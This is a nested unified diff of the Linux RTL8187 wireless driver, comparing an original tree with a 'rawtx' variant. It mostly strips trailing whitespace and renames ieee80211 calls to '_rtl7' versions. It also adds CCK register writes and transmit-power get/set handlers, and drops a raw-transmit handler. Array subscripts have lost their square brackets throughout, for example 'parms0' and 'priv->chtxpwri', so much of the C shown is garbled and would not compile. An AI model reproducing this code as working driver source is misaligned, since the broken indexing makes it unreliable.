+@@ -483,39 +510,39 @@
+ void rtl8225_set_mode(struct net_device *dev, short modeb)
+ {
+ 	write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40));
+-	write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40));	
++	write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40));
+ }
+ #endif
+ 
+ void rtl8225z2_rf_set_chan(struct net_device *dev, short ch)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	short gset = (priv->ieee80211->state == IEEE80211_LINKED &&
+-		ieee80211_is_54g(priv->ieee80211->current_network)) ||
++		ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) ||
+ 		priv->ieee80211->iw_mode == IW_MODE_MONITOR;
+-	
++
+ 	rtl8225z2_SetTXPowerLevel(dev, ch);
+-	
++
+ 	write_rtl8225(dev, 0x7, rtl8225_chanch);
+-	
++
+ 	force_pci_posting(dev);
+ 	mdelay(10);
+-	
++
+ 	write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22
+-	
++
+ 	if(gset)
+-		write_nic_byte(dev,DIFS,20); //DIFS: 20 
++		write_nic_byte(dev,DIFS,20); //DIFS: 20
+ 	else
+-		write_nic_byte(dev,DIFS,0x24); //DIFS: 36 
+-	
++		write_nic_byte(dev,DIFS,0x24); //DIFS: 36
++
+ 	if(priv->ieee80211->state == IEEE80211_LINKED &&
+-		ieee80211_is_shortslot(priv->ieee80211->current_network))
++		ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network))
+ 		write_nic_byte(dev,SLOT,0x9); //SLOT: 9
+-		
++
+ 	else
+ 		write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14)
+-		
+-	
++
++
+ 	if(gset){
+ 		write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B)
+ 		write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37
+@@ -529,68 +556,68 @@
+ 
+ }
+ #if 0
+-void rtl8225_host_pci_init(struct net_device *dev) 
++void rtl8225_host_pci_init(struct net_device *dev)
+ {
+ 	write_nic_word(dev, RFPinsOutput, 0x480);
+-	
++
+ 	rtl8185_rf_pins_enable(dev);
+-	
++
+ 	//if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */
+ 	//write_nic_word(dev, RFPinsSelect, 0x88);
+ 	//else
+ 	write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */
+-	
++
+ 	write_nic_byte(dev, GP_ENABLE, 0);
+-	
++
+ 	force_pci_posting(dev);
+ 	mdelay(200);
+-	
++
+ 	write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */
+ 
+-	
++
+ }
+ 
+-void rtl8225_host_usb_init(struct net_device *dev) 
++void rtl8225_host_usb_init(struct net_device *dev)
+ {
+ 	write_nic_byte(dev,RFPinsSelect+1,0);
+ 
+ 	write_nic_byte(dev,GPIO,0);
+-	
++
+ 	write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7));
+-		
++
+ 	write_nic_byte(dev,RFPinsSelect+1,4);
+ 
+ 	write_nic_byte(dev,GPIO,0x20);
+ 
+ 	write_nic_byte(dev,GP_ENABLE,0);
+ 
+-			
+-	/* Config BB & RF */	
++
++	/* Config BB & RF */
+ 	write_nic_word(dev, RFPinsOutput, 0x80);
+ 
+ 	write_nic_word(dev, RFPinsSelect, 0x80);
+ 
+ 	write_nic_word(dev, RFPinsEnable, 0x80);
+ 
+-	
++
+ 	mdelay(100);
+ 
+-	mdelay(1000); 
++	mdelay(1000);
+ 
+ }
+ #endif
+-void rtl8225z2_rf_init(struct net_device *dev) 
++void rtl8225z2_rf_init(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	int i;
+ 	short channel = 1;
+ 	u16	brsr;
+ 	u32	data,addr;
+-	
++
+ 	priv->chan = channel;
+ 
+ 	rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON);
+-	
++
+ 
+ 	if(priv->card_type == USB)
+ 		rtl8225_host_usb_init(dev);
+@@ -598,42 +625,42 @@
+ 		rtl8225_host_pci_init(dev);
+ 
+ 	write_nic_dword(dev, RF_TIMING, 0x000a8008);
+-	
++
+ 	brsr = read_nic_word(dev, BRSR);
+-	
+-	write_nic_word(dev, BRSR, 0xffff); 
++
++	write_nic_word(dev, BRSR, 0xffff);
+ 
+ 
+ 	write_nic_dword(dev, RF_PARA, 0x100044);
+-	
++
+ 	#if 1  //0->1
+ 	rtl8180_set_mode(dev, EPROM_CMD_CONFIG);
+ 	write_nic_byte(dev, CONFIG3, 0x44);
+ 	rtl8180_set_mode(dev, EPROM_CMD_NORMAL);
+ 	#endif
+-	
+-	
++
++
+ 	rtl8185_rf_pins_enable(dev);
+ 
+ //		mdelay(1000);
+ 
+ 	write_rtl8225(dev, 0x0, 0x2bf); mdelay(1);
+-	
+-	
++
++
+ 	write_rtl8225(dev, 0x1, 0xee0); mdelay(1);
+ 
+ 	write_rtl8225(dev, 0x2, 0x44d); mdelay(1);
+ 
+ 	write_rtl8225(dev, 0x3, 0x441); mdelay(1);
+ 
+-	
++
+ 	write_rtl8225(dev, 0x4, 0x8c3);mdelay(1);
+-	
+-	
+-	
++
++
++
+ 	write_rtl8225(dev, 0x5, 0xc72);mdelay(1);
+ //	}
+-	
++
+ 	write_rtl8225(dev, 0x6, 0xe6);  mdelay(1);
+ 
+ 	write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chanchannel));  mdelay(1);
+@@ -653,28 +680,28 @@
+ 
+ 	write_rtl8225(dev, 0xe, 0x2b);  mdelay(1);
+ 
+-	write_rtl8225(dev, 0xf, 0x114); 
+-	
+-	
++	write_rtl8225(dev, 0xf, 0x114);
++
++
+ 	mdelay(100);
+-	
+-	
++
++
+ 	//if(priv->card_type != USB) /* maybe not needed even for 8185 */
+-//	write_rtl8225(dev, 0x7, rtl8225_chanchannel); 
+-	
++//	write_rtl8225(dev, 0x7, rtl8225_chanchannel);
++
+ 	write_rtl8225(dev, 0x0, 0x1b7);
+-	
++
+ 	for(i=0;i<95;i++){
+ 		write_rtl8225(dev, 0x1, (u8)(i+1));
+-		
++
+ 		#if 0
+-		if(priv->phy_ver == 1) 
++		if(priv->phy_ver == 1)
+ 			/* version A */
+ 			write_rtl8225(dev, 0x2, rtl8225a_rxgaini);
+ 		else
+ 		#endif
+ 		/* version B & C & D*/
+-		
++
+ 		write_rtl8225(dev, 0x2, rtl8225z2_rxgaini);
+ 	}
+ 	write_rtl8225(dev, 0x3, 0x80);
+@@ -683,16 +710,16 @@
+ 	write_rtl8225(dev, 0x0, 0xb7);
+ 
+ 	write_rtl8225(dev, 0x2, 0xc4d);
+-	
++
+ 	if(priv->card_type == USB){
+ 	//	force_pci_posting(dev);
+ 		mdelay(200);
+-		
++
+ 		write_rtl8225(dev, 0x2, 0x44d);
+-		
++
+ 	//	force_pci_posting(dev);
+ 		mdelay(100);
+-		
++
+ 	}//End of if(priv->card_type == USB)
+ 	/* FIXME!! rtl8187 we have to check if calibrarion
+ 	 * is successful and eventually cal. again (repeat
+@@ -713,23 +740,23 @@
+                         }
+         }
+ 	//force_pci_posting(dev);
+-	
+-	mdelay(200); //200 for 8187 
+-	
+-	
++
++	mdelay(200); //200 for 8187
++
++
+ //	//if(priv->card_type != USB){
+ //		write_rtl8225(dev, 0x2, 0x44d);
+ //		write_rtl8225(dev, 0x7, rtl8225_chanchannel);
+ //		write_rtl8225(dev, 0x2, 0x47d);
+-//		
++//
+ //		force_pci_posting(dev);
+ //		mdelay(100);
+-//		
++//
+ //		write_rtl8225(dev, 0x2, 0x44d);
+ //	//}
+-	
+-	write_rtl8225(dev, 0x0, 0x2bf);   
+-	
++
++	write_rtl8225(dev, 0x0, 0x2bf);
++
+ 	if(priv->card_type != USB)
+ 		rtl8185_rf_pins_enable(dev);
+ 	//set up ZEBRA AGC table, 2005.11.17,
+@@ -744,20 +771,20 @@
+ 
+                 mdelay(1);
+         }
+-#if 0	
++#if 0
+ 	for(i=0;i<128;i++){
+ 		write_phy_ofdm(dev, 0xb, rtl8225_agci);
+-		
+-		mdelay(1); 
++
++		mdelay(1);
+ 		write_phy_ofdm(dev, 0xa, (u8)i+ 0x80);
+-	
+-		mdelay(1); 
++
++		mdelay(1);
+ 	}
+ #endif
+-		
++
+ 	force_pci_posting(dev);
+ 	mdelay(1);
+-	
++
+ 	write_phy_ofdm(dev, 0x0, 0x1); mdelay(1);
+ 	write_phy_ofdm(dev, 0x1, 0x2); mdelay(1);
+ 	write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1);
+@@ -771,20 +798,20 @@
+ 
+ 	write_phy_ofdm(dev, 0xa, 0x8); mdelay(1);
+ 
+-	//write_phy_ofdm(dev, 0x18, 0xef); 
++	//write_phy_ofdm(dev, 0x18, 0xef);
+ 	//	}
+ 	//}
+ 	write_phy_ofdm(dev, 0xb, 0x80); mdelay(1);
+ 
+ 	write_phy_ofdm(dev, 0xc, 0x1);mdelay(1);
+ 
+-	
++
+ 	//if(priv->card_type != USB)
+-	write_phy_ofdm(dev, 0xd, 0x43); 
+-		
++	write_phy_ofdm(dev, 0xd, 0x43);
++
+ 	write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1);
+ 
+-	
++
+ 	#if 0
+ 	if(priv->card_8185 == 1){
+ 		if(priv->card_8185_Bversion)
+@@ -796,17 +823,17 @@
+ 	write_phy_ofdm(dev, 0xf, 0x38);mdelay(1);
+ /*ver D & 8187*/
+ //	}
+-	
++
+ //	if(priv->card_8185 == 1 && priv->card_8185_Bversion)
+ //		write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/
+ //	else
+ 	write_phy_ofdm(dev, 0x10, 0x84);mdelay(1);
+ /*ver C & D & 8187*/
+-	
++
+ 	write_phy_ofdm(dev, 0x11, 0x07);mdelay(1);
+ /*agc resp time 700*/
+ 
+-	
++
+ //	if(priv->card_8185 == 2){
+ 	/* Ver D & 8187*/
+ 	write_phy_ofdm(dev, 0x12, 0x20);mdelay(1);
+@@ -824,47 +851,46 @@
+ 	write_phy_ofdm(dev, 0x15, 0x40); mdelay(1);
+ 	write_phy_ofdm(dev, 0x16, 0x0); mdelay(1);
+ 	write_phy_ofdm(dev, 0x17, 0x40); mdelay(1);
+-	
++
+ //	if (priv->card_type == USB)
+ //		write_phy_ofdm(dev, 0x18, 0xef);
+-	
++
+ 	write_phy_ofdm(dev, 0x18, 0xef);mdelay(1);
+- 
++
+ 
+ 	write_phy_ofdm(dev, 0x19, 0x19); mdelay(1);
+ 	write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1);
+ 	write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1);
+-	
++
+ 	write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1);
+ 
+ 	write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17,
+-	
++
+ 	write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1);
+ 
+ 	write_phy_ofdm(dev, 0x1f, 0x75);	mdelay(1);
+ 
+ //	}
+-	
++
+ 	write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1);
+ 
+ 	write_phy_ofdm(dev, 0x21, 0x17);mdelay(1);
+-	
++
+ 	write_phy_ofdm(dev, 0x22, 0x16);mdelay(1);
+ 
+ //	if(priv->card_type != USB)
+ 	write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <>
+-	
++
+ 	write_phy_ofdm(dev, 0x24, 0x46); mdelay(1);
+ 	write_phy_ofdm(dev, 0x25, 0x00); mdelay(1);
+ 	write_phy_ofdm(dev, 0x26, 0x90); mdelay(1);
+ 
+ 	write_phy_ofdm(dev, 0x27, 0x88); mdelay(1);
+ 
+-	
++
+ 	// <> Set init. gain to m74dBm.
+-	
+ 	rtl8225z2_set_gain(dev,4);
+-	
++
+ 	write_phy_cck(dev, 0x0, 0x98); mdelay(1);
+ 	write_phy_cck(dev, 0x3, 0x20); mdelay(1);
+ 	write_phy_cck(dev, 0x4, 0x7e); mdelay(1);
+@@ -875,6 +901,9 @@
+  /* Ver C & D & 8187*/
+ 
+ 	write_phy_cck(dev, 0x8, 0x2e);mdelay(1);
++	write_phy_cck(dev, 0x9, 0x11);mdelay(1);
++	write_phy_cck(dev, 0xa, 0x17);mdelay(1);
++	write_phy_cck(dev, 0xb, 0x11);mdelay(1);
+ 
+ 	write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1);
+ 	write_phy_cck(dev, 0x11, 0x88); mdelay(1);
+@@ -885,52 +914,59 @@
+ 	else
+ #endif
+ 	write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/
+-		
+-	write_phy_cck(dev, 0x19, 0x0);
+-	write_phy_cck(dev, 0x1a, 0xa0);
+-	write_phy_cck(dev, 0x1b, 0x8);
+-	write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */
+-	
+-	write_phy_cck(dev, 0x41, 0x8d);mdelay(1);
+ 
+-	
++// 	write_phy_cck(dev, 0x19, 0x0);
++// 	write_phy_cck(dev, 0x1a, 0xa0);
++// 	write_phy_cck(dev, 0x1b, 0x8);
++// 	write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */
++	write_phy_cck(dev, 0x19, 0x0); mdelay(1);
++	write_phy_cck(dev, 0x1a, 0xa0); mdelay(1);
++	write_phy_cck(dev, 0x1b, 0x8); mdelay(1);
++	write_phy_cck(dev, 0x1d, 0x0); mdelay(1);
++	write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1);
++	write_phy_cck(dev, 0x41, 0x9d); mdelay(1);
++
++
++// 	write_phy_cck(dev, 0x41, 0x8d);mdelay(1);
++
++
+ 	write_phy_cck(dev, 0x42, 0x15); mdelay(1);
+ 	write_phy_cck(dev, 0x43, 0x18); mdelay(1);
+-	
+-	
++
++
+ 	write_phy_cck(dev, 0x44, 0x36); mdelay(1);
+ 	write_phy_cck(dev, 0x45, 0x35); mdelay(1);
+ 	write_phy_cck(dev, 0x46, 0x2e); mdelay(1);
+ 	write_phy_cck(dev, 0x47, 0x25); mdelay(1);
+ 	write_phy_cck(dev, 0x48, 0x1c); mdelay(1);
+ 	write_phy_cck(dev, 0x49, 0x12); mdelay(1);
+-	write_phy_cck(dev, 0x4a, 0x9); mdelay(1);
+-	write_phy_cck(dev, 0x4b, 0x4); mdelay(1);
++	write_phy_cck(dev, 0x4a, 0x09); mdelay(1);
++	write_phy_cck(dev, 0x4b, 0x04); mdelay(1);
+ 	write_phy_cck(dev, 0x4c, 0x5);mdelay(1);
+ 
+ 
+ 	write_nic_byte(dev, 0x5b, 0x0d); mdelay(1);
+ 
+-	
++
+ 
+ // <>
+ //	// TESTR 0xb 8187
+ //	write_phy_cck(dev, 0x10, 0x93);// & 0xfb);
+-//	
++//
+ //	//if(priv->card_type != USB){
+ //		write_phy_ofdm(dev, 0x2, 0x62);
+ //		write_phy_ofdm(dev, 0x6, 0x0);
+ //		write_phy_ofdm(dev, 0x8, 0x0);
+ //	//}
+-	
++
+ 	rtl8225z2_SetTXPowerLevel(dev, channel);
+-	
++
+ 	write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */
+ 	write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */
+-	
++
+ 	rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */
+-	
+-	/* switch to high-speed 3-wire 
++
++	/* switch to high-speed 3-wire
+ 	 * last digit. 2 for both cck and ofdm
+ 	 */
+ 	if(priv->card_type == USB)
+@@ -943,23 +979,23 @@
+ //	if(priv->card_type != USB)
+ //	rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <>
+ //	 rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <>
+-//	
++//
+ //	/* make sure is waken up! */
+ //	write_rtl8225(dev,0x4, 0x9ff);
+-//	rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); 
++//	rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON);
+ //	rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON);
+-	
++
+ 	rtl8225_rf_set_chan(dev, priv->chan);
+ 
+ 	//write_nic_word(dev,BRSR,brsr);
+-	
++
+ 	//rtl8225z2_rf_set_mode(dev);
+ }
+ 
+-void rtl8225z2_rf_set_mode(struct net_device *dev) 
++void rtl8225z2_rf_set_mode(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	if(priv->ieee80211->mode == IEEE_A)
+ 	{
+ 		write_rtl8225(dev, 0x5, 0x1865);
+@@ -970,15 +1006,15 @@
+ 		write_phy_ofdm(dev, 0xb, 0x99);
+ 		write_phy_ofdm(dev, 0xf, 0x20);
+ 		write_phy_ofdm(dev, 0x11, 0x7);
+-		
++
+ 		rtl8225z2_set_gain(dev,4);
+-		
++
+ 		write_phy_ofdm(dev,0x15, 0x40);
+ 		write_phy_ofdm(dev,0x17, 0x40);
+-	
++
+ 		write_nic_dword(dev, 0x94,0x10000000);
+ 	}else{
+-	
++
+ 		write_rtl8225(dev, 0x5, 0x1864);
+ 		write_nic_dword(dev, RF_PARA, 0x10044);
+ 		write_nic_dword(dev, RF_TIMING, 0xa8008);
+@@ -987,12 +1023,12 @@
+ 		write_phy_ofdm(dev, 0xb, 0x99);
+ 		write_phy_ofdm(dev, 0xf, 0x20);
+ 		write_phy_ofdm(dev, 0x11, 0x7);
+-		
++
+ 		rtl8225z2_set_gain(dev,4);
+-		
++
+ 		write_phy_ofdm(dev,0x15, 0x40);
+ 		write_phy_ofdm(dev,0x17, 0x40);
+-	
++
+ 		write_nic_dword(dev, 0x94,0x04000002);
+ 	}
+ }
+diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_rawtx/beta-8187/r8180_wx.c
+--- rtl8187_orig/beta-8187/r8180_wx.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/beta-8187/r8180_wx.c	2007-06-05 14:00:01.000000000 +0200
+@@ -1,19 +1,19 @@
+-/* 
++/*
+    This file contains wireless extension handlers.
+ 
+    This is part of rtl8180 OpenSource driver.
+-   Copyright (C) Andrea Merello 2004-2005  <andreamrl@tiscali.it> 
++   Copyright (C) Andrea Merello 2004-2005  <andreamrl@tiscali.it>
+    Released under the terms of GPL (General Public Licence)
+-   
+-   Parts of this driver are based on the GPL part 
++
++   Parts of this driver are based on the GPL part
+    of the official realtek driver.
+-   
+-   Parts of this driver are based on the rtl8180 driver skeleton 
++
++   Parts of this driver are based on the rtl8180 driver skeleton
+    from Patric Schenke & Andres Salomon.
+ 
+    Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver.
+-   
+-   We want to tanks the Authors of those projects and the Ndiswrapper 
++
++   We want to tanks the Authors of those projects and the Ndiswrapper
+    project Authors.
+ */
+ 
+@@ -21,20 +21,21 @@
+ 
+ #include "r8187.h"
+ #include "r8180_hw.h"
++#include "r8180_rtl8225.h"
+ 
+ 
+ #define RATE_COUNT 4
+ u32 rtl8180_rates = {1000000,2000000,5500000,11000000,
+ 	6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000};
+-	
++
+ 
+ static int r8180_wx_get_freq(struct net_device *dev,
+ 			     struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
+-	return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
++	return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b);
+ }
+ 
+ 
+@@ -45,28 +46,28 @@
+ {
+ 	int *parms = (int *)b;
+ 	int bi = parms0;
+-	
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	down(&priv->wx_sem);
+ 	DMESG("setting beacon interval to %x",bi);
+-	
++
+ 	priv->ieee80211->beacon_interval=bi;
+ 	rtl8180_commit(dev);
+ 	up(&priv->wx_sem);
+-		
+-	return 0;	
++
++	return 0;
+ }
+ 
+ 
+ static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa,
+ 			  union iwreq_data *wrqu, char *extra)
+ {
+-	struct r8180_priv *priv=ieee80211_priv(dev);	
++	struct r8180_priv *priv=ieee80211_priv_rtl7(dev);
+ 	int *parms = (int *)extra;
+-	
++
+ 	priv->ieee80211->force_associate = (parms0 > 0);
+-	
++
+ 
+ 	return 0;
+ }
+@@ -75,108 +76,157 @@
+ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b)
+ {
+-	struct r8180_priv *priv=ieee80211_priv(dev);	
++	struct r8180_priv *priv=ieee80211_priv_rtl7(dev);
+ 
+-	return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b);
++	return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b);
+ }
+ 
+ 
+ 
+-static int r8180_wx_get_rate(struct net_device *dev, 
+-			     struct iw_request_info *info, 
++static int r8180_wx_get_rate(struct net_device *dev,
++			     struct iw_request_info *info,
+ 			     union iwreq_data *wrqu, char *extra)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++	return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra);
+ }
+ 
+ 
+ 
+-static int r8180_wx_set_rate(struct net_device *dev, 
+-			     struct iw_request_info *info, 
++static int r8180_wx_set_rate(struct net_device *dev,
++			     struct iw_request_info *info,
+ 			     union iwreq_data *wrqu, char *extra)
+ {
+ 	int ret;
+-	struct r8180_priv *priv = ieee80211_priv(dev);	
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	down(&priv->wx_sem);
++	ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra);
+ 
+-	ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra);
+-	
+ 	up(&priv->wx_sem);
+-	
++
+ 	return ret;
+ }
+ 
+-static int r8180_wx_set_rawtx(struct net_device *dev, 
+-			       struct iw_request_info *info, 
+-			       union iwreq_data *wrqu, char *extra)
++static int r8180_wx_get_txpow(struct net_device *dev,
++			      struct iw_request_info *info,
++			      union iwreq_data *wrqu, char *extra)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	int ret;
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++	int i=0;
+ 	down(&priv->wx_sem);
+-	
+-	ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra);
+-	
++	wrqu->power.value = 0;
++	for(i=0; i<15; i++)
++	{
++		if(priv->chtxpwri > wrqu->power.value) wrqu->power.value = priv->chtxpwri;
++		if(priv->chtxpwr_ofdmi > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdmi;
++	}
++	wrqu->power.fixed = 1;
++	wrqu->power.flags = IW_TXPOW_DBM;
++	wrqu->power.disabled = 0;
+ 	up(&priv->wx_sem);
+-	
++
++	return 0;
++}
++
++#if 1
++static int r8180_wx_set_txpow(struct net_device *dev,
++			      struct iw_request_info *info,
++			      union iwreq_data *wrqu, char *extra)
++{
++	int ret = 0, i=0;
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
++	down(&priv->wx_sem);
++
++	if (wrqu->power.flags != IW_TXPOW_DBM)
++	{
++		ret = -EINVAL;
++		goto out;
++	}
++
++	if(wrqu->power.value > priv->txpwr_max)
++	{
++		ret = -EINVAL;
++		goto out;
++	}
++
++	if(wrqu->power.value < 0)
++	{
++		ret = -EINVAL;
++		goto out;
++	}
++
++	for(i=1;i<15;i++)
++	{
++		priv->chtxpwri = priv->chtxpwr_origi - (priv->txpwr_max - wrqu->power.value);
++		if(priv->chtxpwri > priv->chtxpwr_origi) priv->chtxpwri = 0;
++
++		priv->chtxpwr_ofdmi = priv->chtxpwr_ofdm_origi - (priv->txpwr_max - wrqu->power.value);
++		if(priv->chtxpwr_ofdmi > priv->chtxpwr_ofdm_origi) priv->chtxpwr_ofdmi = 0;
++	}
++	rtl8225z2_SetTXPowerLevel(dev, 1);
++
++	out:
++	up(&priv->wx_sem);
++
+ 	return ret;
+-	 
++
+ }
++#endif
+ 
+-static int r8180_wx_set_crcmon(struct net_device *dev, 
+-			       struct iw_request_info *info, 
++static int r8180_wx_set_crcmon(struct net_device *dev,
++			       struct iw_request_info *info,
+ 			       union iwreq_data *wrqu, char *extra)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	int *parms = (int *)extra;
+ 	int enable = (parms0 > 0);
+ 	short prev = priv->crcmon;
+ 
+ 	down(&priv->wx_sem);
+-	
+-	if(enable) 
++
++	if(enable)
+ 		priv->crcmon=1;
+-	else 
++	else
+ 		priv->crcmon=0;
+ 
+-	DMESG("bad CRC in monitor mode are %s", 
++	DMESG("bad CRC in monitor mode are %s",
+ 	      priv->crcmon ? "accepted" : "rejected");
+ 
+ 	if(prev != priv->crcmon && priv->up){
+ 		rtl8180_down(dev);
+ 		rtl8180_up(dev);
+ 	}
+-	
++
+ 	up(&priv->wx_sem);
+-	
++
+ 	return 0;
+ }
+ 
+ static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	int ret;
+-	
++
+ 	down(&priv->wx_sem);
+-	
+-	ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b);
+-	
++
++	ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b);
++
+ 	rtl8187_set_rxconf(dev);
+-	
++
+ 	up(&priv->wx_sem);
+ 	return ret;
+ }
+ 
+ 
+-static int rtl8180_wx_get_range(struct net_device *dev, 
+-				struct iw_request_info *info, 
++static int rtl8180_wx_get_range(struct net_device *dev,
++				struct iw_request_info *info,
+ 				union iwreq_data *wrqu, char *extra)
+ {
+ 	struct iw_range *range = (struct iw_range *)extra;
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	u16 val;
+ 	int i;
+ 
+@@ -186,26 +236,26 @@
+ 	/* Let's try to keep this struct in the same order as in
+ 	 * linux/include/wireless.h
+ 	 */
+-	
++
+ 	/* TODO: See what values we can set, and remove the ones we can't
+ 	 * set, or fill them with some default data.
+ 	 */
+ 
+ 	/* ~5 Mb/s real (802.11b) */
+-	range->throughput = 5 * 1000 * 1000;     
++	range->throughput = 5 * 1000 * 1000;
+ 
+ 	// TODO: Not used in 802.11b?
+ //	range->min_nwid;	/* Minimal NWID we are able to set */
+ 	// TODO: Not used in 802.11b?
+ //	range->max_nwid;	/* Maximal NWID we are able to set */
+-	
++
+         /* Old Frequency (backward compat - moved lower ) */
+-//	range->old_num_channels; 
++//	range->old_num_channels;
+ //	range->old_num_frequency;
+ //	range->old_freq6; /* Filler to keep "version" at the same offset */
+ 	if(priv->rf_set_sens != NULL)
+ 		range->sensitivity = priv->max_sens;	/* signal level threshold range */
+-	
++
+ 	range->max_qual.qual = 100;
+ 	/* TODO: Find real max RSSI and stick here */
+ 	range->max_qual.level = 0;
+@@ -219,14 +269,14 @@
+ 	range->avg_qual.updated = 7; /* Updated all three */
+ 
+ 	range->num_bitrates = RATE_COUNT;
+-	
++
+ 	for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) {
+ 		range->bitratei = rtl8180_ratesi;
+ 	}
+-	
++
+ 	range->min_frag = MIN_FRAG_THRESHOLD;
+ 	range->max_frag = MAX_FRAG_THRESHOLD;
+-	
++
+ 	range->pm_capa = 0;
+ 
+ 	range->we_version_compiled = WIRELESS_EXT;
+@@ -243,18 +293,18 @@
+         range->num_channels = 14;
+ 
+ 	for (i = 0, val = 0; i < 14; i++) {
+-		
++
+ 		// Include only legal frequencies for some countries
+ 		if ((priv->challow)i+1) {
+ 		        range->freqval.i = i + 1;
+-			range->freqval.m = ieee80211_wlan_frequenciesi * 100000;
++			range->freqval.m = ieee80211_wlan_frequencies_rtl7i * 100000;
+ 			range->freqval.e = 1;
+ 			val++;
+ 		} else {
+ 			// FIXME: do we need to set anything for channels
+ 			// we don't use ?
+ 		}
+-		
++
+ 		if (val == IW_MAX_FREQUENCIES)
+ 		break;
+ 	}
+@@ -267,15 +317,15 @@
+ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	int ret;
+-	
++
+ 	if(!priv->up) return -1;
+-	
++
+ 	down(&priv->wx_sem);
+-	
+-	ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b);
+-	
++
++	ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b);
